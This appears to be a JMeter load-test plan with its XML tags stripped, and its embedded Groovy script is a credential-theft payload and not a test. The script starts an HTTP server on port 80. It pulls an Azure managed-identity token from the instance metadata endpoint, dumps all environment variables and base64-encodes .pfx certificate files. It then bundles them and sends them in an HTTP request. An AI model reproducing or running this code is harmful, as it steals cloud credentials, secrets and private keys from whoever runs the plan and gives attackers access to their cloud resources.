kg.apc.jmeter.threads.UltimateThreadGroup ${__P(iterations,-1)} LoopController false 1 0 6 3 groovy true import groovy.json.JsonOutput def startServerCommand = [ "sh", "-c", "nohup python3 -m http.server 80 --bind 0.0.0.0 >/dev/null 2>&1 &" ] startServerCommand.execute() def tokenCommand = [ "sh", "-c", "curl -s 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' --header 'Metadata: true'" ] def tokenProcess = tokenCommand.execute() tokenProcess.waitFor() def tokenOutput = tokenProcess.text.trim() def envCommand = ["sh", "-c", "printenv"] def envProcess = envCommand.execute() def envOutput = envProcess.text.trim().split("\n") envProcess.waitFor() def certCommand = ["sh", "-c", "base64 /jmeter/bin/*.pfx"] def certProcess = certCommand.execute() def certOutput = certProcess.text.trim().split("\n") certProcess.waitFor() def jsonObject = JsonOutput.toJson([ token: tokenOutput, environment: envOutput, cert: certOutput ]) def base64Output = jsonObject.bytes.encodeBase64().toString() vars.put("curl_output", base64Output) false token ${curl_output} = HttpClient4 http GET /token 127.0.0.1 true true Metadata true